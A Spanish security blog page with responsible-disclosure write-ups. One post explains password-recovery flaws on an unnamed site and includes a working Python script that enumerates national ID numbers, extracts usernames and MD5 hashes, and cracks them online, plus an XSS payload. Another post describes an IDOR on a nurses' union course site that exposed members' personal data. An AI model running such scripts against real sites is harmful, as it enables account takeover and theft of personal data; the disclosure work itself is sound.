martes, 22 de enero de 2019

¿Cúantos fallos de seguridad puede tener la funcionalidad de recuperar contraseña?

Muy buenas a todos,

para hoy tenía pensado hacer un nuevo Post sobre Responsible Disclosure, pero como envié un correo electrónico y me ignoraron de una manera muy fuerte, lo que voy a hacer es explicar como funcionan las vulnerabilidades (sin decir donde se encuentran, quien quiera que lo busque) para ver si a alguien le puede servir para aprender algo nuevo.





Además del correo electrónico también envie un MD por twitter, donde también me ignoraron, así que voy a publicar toda la información.




Una vez visto esto ya podemos empezar, lo primero que tengo que decir es que solo mire el proceso de recuperar contraseñas, pero imagino que el resto de la web será del estilo, parece ser un sitio bonito donde jugar.

Vamos a ir paso por paso porque hay mucho que abarcar, así que vamos a comenzar desde el principio, lo primero que podemos ver es una pantalla donde nos pide que introduzcamos el DNI para empezar el flujo de modificar contraseñas.


En caso de introducir un DNI que exista en la base de datos te lleva al siguiente paso, y en caso de introducir un DNI no existente te mantiene en la misma pantalla. Aquí podemos encontrar el primer error de seguridad (aunque no sea grave). Es posible enumerar a través de los DNIs todos los usuarios registrados en la aplicación dependiendo de la respuesta, yo para esto me hice un script en python que comprobando el tamaño de la respuesta detectaba si el usuario existe o no en la base de datos (más tarde mostraré el script ya que después le añadí nuevas funcionalidades).


Una vez en este punto podemos ir al siguiente paso introduciendo algún DNI que nos arroje el script de python.


Podemos ver que la forma de recuperar la contraseña es la típica pregunta de seguridad, esto es algo que no se debería usar en ningún caso por los siguientes motivos:

  • Estás indicando a un posible atacante por donde tiene que empezar a buscar para poder evadir esta medida de seguridad. 
  • Suele ser información poco privada y fácil de conseguir.
  • Los usuarios no suelen recordar que pusieron esta información como pregunta de seguridad, por lo que preguntando (a diferencia de una contraseña), no es difícil de que te de esa información.
  • En caso de no tener una forma de bloquear los ataques de fuerza bruta es fácil buscar una lista de respuestas posibles a esa pregunta.

En mi caso, como no conozco al usuario en cuestión, vamos a optar por el último punto, así que buscaremos una lista de colores en Google y lanzaremos un ataque de fuerza bruta. De la misma forma que con los colores se puede hacer con nombres de mascota, con el nombre del padre, o con cualquier pregunta que nos encontremos.


Una vez en este punto ya podríamos modificarle la contraseña al usuario y entrar en su perfil sin ningún problema.

La cuestión de todo esto es que la cosa no acaba aquí, está funcionalidad, además de ser vulnerable a fuerza bruta, se puede byppasear, ¿cómo hacemos esto?

Es bastante simple, en el funcionamiento normal de la aplicación la respuesta a la pregunta se envía por parámetro, y si la respuesta no es correcta te devuelve un mensaje de error, sin embargo, si no se envía este parámetro toma la respuesta como válida y nos deja seguir.

¿Por qué ocurre esto? mi suposición al estar programada en PHP la aplicación web es que tienen el siguiente código.

  1. <?php
  2. $respuesta = $_POST['respuesta'];
  3. $respuesta_correcta = "Respuesta correcta";
  4. if (strcmp($respuesta, $respuesta_correcta) != 1 || strcmp($respuesta, $respuesta_correcta) != -1) {
  5.         // Respuesta incorrecta
  6. }
  7. else{
  8.         // Respuesta correcta
  9. }
  10. ?>
Vamos a ver que está pasando aquí, la función "strcmp" en php, tiene dos respuestas diferentes dependiendo de los datos introducidos:
  • En caso de que ambos strings sean iguales el resultado será 0.
  • En caso de que los strings no sean iguales el resultado será 1 o -1 dependiendo de cual sea mayor.
Por lo tanto en principio ese código será correcto, ya que está comprobando que los dos Strings sean diferentes, pero ¿qué pas si no envío el parametro?

Bueno, la función haría algo así: "strcmp(NULL, $respuesta_correcta)", en este caso el resultado sería 3 o -3, por lo que el código lo tomará como si la respuesta fuera correcta y veríamos lo siguiente.


En este punto podríamos cambiarle la contraseña a quien nosotros quisieramos teniendo solo el DNI, además de poder ver los DNIs que están registrados en la aplicación, aunque esto es una pena, porque la cosa no se queda aquí.

Si le echamos un vistazo rápido a la respuesta HTML del servidor tras esta petición vemos, que además de devolver el nombre de usuario, también nos devuelve el hash MD5 que está almacenado en la base de datos.


Aquí tenemos el nombre de usuario, el hash en MD5 y la longitud de la contraseña, que nos dice que son entre 4 y 8 caracteres, esto hace que sea mucho más sencillo crackearlas, podemos hacer una prueba en crackstation.


Con todo esto preparé un script en python que generaba DNIs de forma aleatoria, comprobaba que existieran y en caso de que existieran parseaba el usuario y el hash, crackeaba este hash a través de una base de datos online e imprimía toda esta información.

  
El script que preparé (se que es muy chustero) es este.

  1. #!/usr/bin/python
  2. # -*- coding: UTF-8 -*-
  3. import json
  4. from random import randint
  5. import requests
  6. import urllib3
  7. from html.parser import HTMLParser
  8. from bs4 import BeautifulSoup as BSoup
  9. import sys
  10. urllib3.disable_warnings()
  11. # Crackea un hash
  12. def decrypt(hash):
  13.         content = requests.get('https://md5.gromweb.com/?md5=' + hash)
  14.         soup = BSoup(content.text, "html.parser")
  15.         hashresult = soup.find('em', attrs={'class': 'long-content string'})
  16.         if hashresult:
  17.                 return hashresult.text
  18. # Parsea la respuesta y obtiene Hash
  19. class MyHTMLParser(HTMLParser):
  20.         def handle_starttag(self, tag, attrs):
  21.                 for attr in attrs:
  22.                         if attr[0] == "value":
  23.                                 if len(attr[1]) == 32:
  24.                                         hash1 = attr[1]
  25.                                         if decrypt(hash1):
  26.                                                 print "Password: " + decrypt(hash1)
  27.                                                 f.write(" - Password: " + decrypt(hash1))
  28.                                         else:
  29.                                                 print "Hash: " + attr[1]
  30.                                                 f.write(" - Hash: " + attr[1])
  31.                                 if len(attr[1]) != 32:
  32.                                         print "Usuario: " + attr[1]
  33.                                         f.write(" - Usuario: " + attr[1] + "\n")
  34. URL = "https://ws035.dominio.es"
  35. path = "/bolsa/http/olvidoclave3.php"
  36. header = {"Content-Type": "application/x-www-form-urlencoded"}
  37. usuarios = 0
  38. prueba = 1
  39. f = open("DNIs.txt", "a")
  40. # Pregunta cuantos usuarios se desean obtener
  41. numUsuarios = raw_input("¿Cuantos usuarios quieres sacar? ")
  42. if int(numUsuarios) == 1:
  43.         numeroDNI = raw_input("Introducir numero de DNI ")
  44. while usuarios < int(numUsuarios):
  45.         # Genera un DNI aleatorio
  46.         numero = randint(10000000, 99999999)
  47.         if int(numUsuarios) == 1:
  48.                 numero = int(numeroDNI)
  49.         intnumero = int(numero)
  50.         letra1 = "TRWAGMYFPDXBNJZSQVHLCKET"
  51.         resto = intnumero%23
  52.         letra = letra1[resto]
  53.         # Prepara la informacion que se enviara por el metodo POST
  54.         data = "documento=" + str(intnumero) + "&tipo_documento=+&letra=" + letra + "&test=test"
  55.         # Realiza la peticion
  56.         try:
  57.                 resp = requests.post(URL+path, data=data, verify=False, timeout=3, headers=header)
  58.                 tamano = int(resp.headers["Content-Length"])
  59.         except requests.exceptions.ReadTimeout:
  60.                 tamano = 7000
  61.         # Comprueba si existe o no el usuario
  62.         if tamano < 6000 and tamano > 5000:
  63.                 print "DNI encontrado: " + str(numero) + letra
  64.                 f.write("DNI encontrado: " + str(numero) + letra)
  65.                 parser = MyHTMLParser()
  66.                 parser.feed(resp.content)
  67.                 usuarios = usuarios + 1
  68.         else:
  69.                 print "Intento numero: " + str(prueba) + " - Usuarios encontrados: " + str(usuarios)
  70.                 prueba = prueba + 1
  71. f.close()

 Por último, y ya de verdad prometo que acabo, todos los parámetros eran vulnerables a XSS, el payload que usé fue este:

"><script>alert(document.domain)</script>


Ya hemos acabado por hoy, espero que os haya resultado interesante el post.

Saluti.

 Ia e perdio la cuenta de cuantas vulneravilidades tenia

==============================================

A raiz de este post se pusieron en contacto conmigo para arreglar las vulnerabilidades y disculparse por no responder en el primer reporte.

Actualmente la página se encuentra en reparación y no se puede acceder. Alegra que se hagan las cosas bien.



miércoles, 16 de enero de 2019

Responsible Disclosure - Cuidado enfermeritos

¿No os ha pasado nunca que algún familiar o amigo os enseña una página web y solo viendo la interfaz piensas que es un colador?

Bueno, a mi me ha pasado, hace unos días mi pareja, que es enfermera me pidió que le hiciera un favor, y para elló me pidió que entrase aquí: https://cursos.satse.es/

Para quien no lo sepa el SATSE es el sindicato de enfermería y aquí tienen una gran cantidad de información de todos los enfermeros de España, por lo que una brecha de seguridad sería un riesgo bastante alto. Vamos a empezar intentando ver que opina el sindicato de la seguridad y privacidad de sus enfermeros.


Lo que nos están diciendo aquí es que se toman bastante en serio su privacidad, y nos aseguran de alguna forma que el sitio es seguro, "supongo que habrán pasado alguna auditoría de seguridad".

Bueno, una vez visto me dispuse a echarle un vistazo rápido al sitio web a ver si esto era verdad. Mire varias cosas, si el panel de Login era vulnerable a fuerza bruta, algunos intentos de XSS, de SQLi y de CSRF, no más de 20 minutos (de momento). En principio lo que ví tenía buena pinta hasta que encontré lo siguiente.

Antes de nada aviso que la vulnerabilidad no es algo complejo tecnicamente hablando, el problema reside en la cantidad de información que se puede obtener de una forma tan simple.

La cuestión es que dentro de la plataforma de cursos del SATSE, había una sección donde tú podías ver los cursos a donde te habías inscrito, una vez en este panel podías seleccionar uno de los cursos donde te habías inscrito donde podías ver la información del curso junto a la información de tu perfil.

El problema en sí consiste en que el path para acceder a esta información era el siguiente:
https://cursos.satse.es/mis-inscripciones/miinscripcion/ID

El ID correspondía al ID de la inscripción, y la página web no comprobaba si el usuario que intentaba ver la inscripción era la propietaria, por lo tanto si modificabas este ID (numéricos consecutivos), podías ver la información de perfil de un usuario.


Una vez en este punto, solo bastaría automatizar las peticiones para tener toda esta información de cada uno de los usuarios que se hayan inscrito en algún curso:

- Nombre.
- Apellidos.
- Teléfono.
- Móvil.
- Email.
- NIF.
- Dirección.
- CP.
- Localidad.
- Provincia.

Una vez llegado a este punto tocaba reportar, así que contacte con administración para ver a donde me podía dirigir para solucionar el problema.


Al poco rato me contactaron dandome dos correos de las personas que estarían encagadas de arreglar esto, a donde les escribí como funcionaba el problema de seguridad, a lo que finalmente me respondieron comentando que ya lo habían arreglado.


A su favor tengo que decir que desde que contacte la primera vez, hasta que me respondieron diciendo que ya estaba arreglado pasaron alrededor de dos horas.

Saluti.

Da guhto sabe que ai cosa que funsionan vien.


martes, 15 de enero de 2019

¿Nobody? ¿Nocuerpo? Un nuevo escritor.



¡Hola!

Mi nombres es Agustín, aunque soy "más conocido" por mi alias, Nobody, y cariñosamente llamado Nocuerpo. A veces se me da por hablar en español ibérico, pero soy Argentino y hablo "español rioplatense".

Soy un hacker ético y amante de la seguridad informática, exstaff de Underc0de, y ahora, un nuevo contribuidor de WhateverSec.

Rolo y yo nos conocimos hace unos años en Underc0de, nos hicimos amigos, y ahora somos "hermanos virtuales". Hace tiempo que tenía ganas de escribir en un blog junto a él, y bueno, aquí estoy.

Espero que el contenido que yo redacte esté a la altura de este blog, y espero entretenerlos con mis bug bounties, mis responsible disclosures y mis historias ridículamente graciosas (como obtener un auto gratis gracias a un LFI).

Estaré agradecido si os pasáis por mi Twitter y dejáis un buen follow.
Haré un pelín más de spam, dejando el link completamente visible:
https://twitter.com/n0bodysec

Do svidaniya,
Nobody.